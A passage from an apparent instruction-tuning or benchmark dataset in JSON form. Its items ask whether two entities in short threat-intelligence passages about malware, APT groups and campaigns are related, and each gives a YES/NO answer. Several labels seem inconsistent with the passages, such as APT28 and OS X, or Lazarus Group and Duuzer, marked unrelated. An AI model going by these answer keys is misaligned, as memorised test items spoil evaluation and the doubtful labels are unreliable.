Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: Vietnam\n### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: Singapore\n### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: Japan\n### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: Indonesia\n### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: Argentina\n### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Honeybee\n### Target Entity: Canada\n### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCORESHELL\n### Target Entity: C2\n### Text Passage:\nCORESHELL C2 messages are Base64-encoded.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFLASHFLOOD\n### Target Entity: zlib\n### Text Passage:\nFLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nzlib\n### Target Entity: SPACESHIP\n### Text Passage:\nFLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThreat Group-3390\n### Target Entity: ASPXTool\n### Text Passage:\nASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nASPXTool\n### Target Entity: Internet Information Services (IIS)\n### Text Passage:\nASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFgdump\n### Target Entity: Windows\n### Text Passage:\nFgdump can dump Windows password hashes.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMonokle\n### Target Entity: Android\n### Text Passage:\nMonokle is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMonokle\n### Target Entity: iOS\n### Text Passage:\nMonokle is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNvidia\n### Target Entity: Synaptics\n### Text Passage:\nZLib mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQakBot\n### Target Entity: esentutl.exe\n### Text Passage:\nQakBot can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQakBot\n### Target Entity: Internet Explorer\n### Text Passage:\nQakBot can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQakBot\n### Target Entity: Microsoft Edge\n### Text Passage:\nQakBot can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMicrosoft Edge\n### Target Entity: Internet Explorer\n### Text Passage:\nQakBot can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCloudDuke\n### Target Entity: C2\n### Text Passage:\nOne variant of CloudDuke uses HTTP and HTTPS for C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT28\n### Target Entity: XAgentOSX\n### Text Passage:\nXAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXAgentOSX\n### Target Entity: OS X\n### Text Passage:\nXAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXAgentOSX\n### Target Entity: CHOPSTICK\n### Text Passage:\nXAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXAgentOSX\n### Target Entity: XAgent\n### Text Passage:\nXAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOS X\n### Target Entity: APT28\n### Text Passage:\nXAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHoneybee\n### Target Entity: MaoCheng\n### Text Passage:\nHoneybee uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMaoCheng\n### Target Entity: Adobe Systems\n### Text Passage:\nHoneybee uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAzorult\n### Target Entity: C2\n### Text Passage:\nAzorult uses an XOR key to decrypt content and uses Base64 to decode the C2 address.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEmotet\n### Target Entity: Italian\n### Text Passage:\nSo far in 2021, Proofpoint has observed nearly half a million messages associated with this threat targeting Italian organizations. According to Proofpoint data, Ursnif is currently the most frequently observed malware targeting Italian organizations based on campaign data. Earlier this year, Proofpoint researchers observed multiple Emotet campaigns targeting the region as well \u2013 however, following the disruption of the Emotet botnet in January 2021, all Emotet activity has disappeared and this malware is no longer an ongoing threat.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEmotet campaigns\n### Target Entity: Italian\n### Text Passage:\nSo far in 2021, Proofpoint has observed nearly half a million messages associated with this threat targeting Italian organizations. According to Proofpoint data, Ursnif is currently the most frequently observed malware targeting Italian organizations based on campaign data. Earlier this year, Proofpoint researchers observed multiple Emotet campaigns targeting the region as well \u2013 however, following the disruption of the Emotet botnet in January 2021, all Emotet activity has disappeared and this malware is no longer an ongoing threat.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nItalian\n### Target Entity: Proofpoint\n### Text Passage:\nSo far in 2021, Proofpoint has observed nearly half a million messages associated with this threat targeting Italian organizations. According to Proofpoint data, Ursnif is currently the most frequently observed malware targeting Italian organizations based on campaign data. Earlier this year, Proofpoint researchers observed multiple Emotet campaigns targeting the region as well \u2013 however, following the disruption of the Emotet botnet in January 2021, all Emotet activity has disappeared and this malware is no longer an ongoing threat.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: C0017\n### Text Passage:\nC0017 was an APT41 campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During C0017, APT41 was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of C0017 are unknown, however APT41 was observed exfiltrating Personal Identifiable Information (PII).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0017\n### Target Entity: U.S.\n### Text Passage:\nC0017 was an APT41 campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During C0017, APT41 was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of C0017 are unknown, however APT41 was observed exfiltrating Personal Identifiable Information (PII).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: U.S.\n### Text Passage:\nC0017 was an APT41 campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During C0017, APT41 was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of C0017 are unknown, however APT41 was observed exfiltrating Personal Identifiable Information (PII).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCOATHANGER\n### Target Entity: FortiGate\n### Text Passage:\nCOATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: \u201cShe took his coat and hung it up\u201d.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCOATHANGER\n### Target Entity: Netherlands\n### Text Passage:\nCOATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: \u201cShe took his coat and hung it up\u201d.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCOATHANGER\n### Target Entity: People's Republic of China\n### Text Passage:\nCOATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: \u201cShe took his coat and hung it up\u201d.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCOATHANGER\n### Target Entity: CVE-2022-42475\n### Text Passage:\nCOATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: \u201cShe took his coat and hung it up\u201d.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPeople's Republic of China\n### Target Entity: FortiGate\n### Text Passage:\nCOATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: \u201cShe took his coat and hung it up\u201d.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Sharpshooter\n### Target Entity: Rising Sun\n### Text Passage:\nRising Sun is a modular backdoor malware used extensively in Operation Sharpshooter. The malware has been observed targeting nuclear, defense, energy, and financial services companies across the world. Rising Sun uses source code from Lazarus Group's Trojan Duuzer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRising Sun\n### Target Entity: Duuzer\n### Text Passage:\nRising Sun is a modular backdoor malware used extensively in Operation Sharpshooter. The malware has been observed targeting nuclear, defense, energy, and financial services companies across the world. Rising Sun uses source code from Lazarus Group's Trojan Duuzer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDuuzer\n### Target Entity: Lazarus Group\n### Text Passage:\nRising Sun is a modular backdoor malware used extensively in Operation Sharpshooter. The malware has been observed targeting nuclear, defense, energy, and financial services companies across the world. Rising Sun uses source code from Lazarus Group's Trojan Duuzer.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMachete\n### Target Entity: Chrome\n### Text Passage:\nMachete retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMachete\n### Target Entity: Firefox\n### Text Passage:\nMachete retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChrome\n### Target Entity: Firefox\n### Text Passage:\nMachete retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPoetRAT\n### Target Entity: C2\n### Text Passage:\nPoetRAT has the ability to list files upon receiving the ls command from C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nspwebmember\n### Target Entity: Microsoft SharePoint\n### Text Passage:\nspwebmember is used to enumerate and dump information from Microsoft SharePoint.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMicrosoft SharePoint\n### Target Entity: Microsoft\n### Text Passage:\nspwebmember is used to enumerate and dump information from Microsoft SharePoint.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWarzoneRAT\n### Target Entity: C++\n### Text Passage:\nWarzoneRAT is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRaindrop\n### Target Entity: Cobalt Strike\n### Text Passage:\nRaindrop used a custom packer for its Cobalt Strike payload, which was compressed using the LZMA algorithm.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKasperAgent\n### Target Entity: FrozenCell\n### Text Passage:\nFrozenCell is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and Micropsia.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBandook\n### Target Entity: Delphi\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBandook\n### Target Entity: C++\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence 